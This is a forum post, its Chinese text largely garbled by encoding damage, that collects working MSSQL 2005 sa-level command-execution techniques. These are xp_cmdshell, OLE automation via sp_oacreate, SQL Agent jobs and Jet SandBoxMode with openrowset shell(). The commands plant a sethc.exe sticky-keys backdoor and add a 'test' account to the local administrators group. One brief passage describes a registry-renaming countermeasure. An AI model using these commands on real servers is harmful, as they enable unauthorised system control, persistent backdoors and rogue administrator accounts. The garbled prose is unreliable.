admin 2012-9-13 17:18:27

MSsql2005(Sa)Ȩִܽ

һxp_cmdshell

EXEC master..xp_cmdshell 'ipconfig'

xp_cmdshell:

-- To allow advanced options to be changed.

EXEC sp_configure 'show advanced options', 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE

GO

-- To enable the feature.

EXEC sp_configure 'xp_cmdshell', 1

GO

-- To update the currently configured value for this feature.

RECONFIGURE

GO

sp_oacreate

wscript.shell

use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

scripting.filesystemobject

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @oo int

exec sp_oacreate 'scripting.filesystemobject', @oo out               exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

utilman.exesethc.exeﵽͬЧźܿ𣬺Ǻ

Shell.Application

declare @o int

exec sp_oacreate 'Shell.Application', @o out

exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','',1;

OLE Automation Procedures

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

ǵĶԲ߾ǰѶһֽ

WScript.ShellԵϵͳںDOS

ͨ޸עֹΣ

HKEY_CLASSES_ROOT\WScript.Shell\

HKEY_CLASSES_ROOT\WScript.Shell.1\

Ϊ֣磺ΪWScript.Shell_ChangeNameWScript.Shell.1_ChangeName

ԼԺõʱʹͿô

ҲҪclsidֵҲһ

HKEY_CLASSES_ROOT\WScript.Shell\CLSID\Ŀֵ

HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\Ŀֵ

ͬwscript.shellscripting.filesystemobjectShell.Application

JOB

JOBִһȾǿSQLSERVERAGENTԿ

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

use msdb create table (resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec

sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user>c:\test.test"' exec sp_add_jobserver

null,'x',@@servername exec sp_start_job 'x';

ģSandBoxModeϳ˵ɳģʽ

ԭaccessVBSshellsystemȨִκ֮ǰעһSandBoxmodeĿش򿪣

עHKEY_LOCAL_MACHINE\SoFtWare\Micris

oft\Jet\4.0\Engine\SandBoxmode.ĬֵΪ2˼ֵΪ0ʾʼ

սSandBoxmodeģʽ1ʾڷAcessӦóSandBoxmodeģʽ2ʾaccessӦóʹSandBoxmodeģʽ3ʾȫȫá//10ִ

EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

EXEC master..xp_regreadHKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")')

select * from openrowset('microsoft.jet.oledb.4.0',

';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')

ϵͳԴmdbļ

C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb

ܽ

   ַϸҶмˣԷɢ˼άҳ֣Ĭ²Եģ͸ʱкܶǿһ˷õϢȡļ˵ȵȣǻҪȨεⰡ

ע
      *.exec:\windows\system32\ c:\windows\system32\dllcache
      cmd.execommand.exe
      net.exenet1.exe
      Mdbļǿϴһ
      ִֻһŶ
ҳ: [1]
鿴汾: MSsql2005(Sa)Ȩִܽ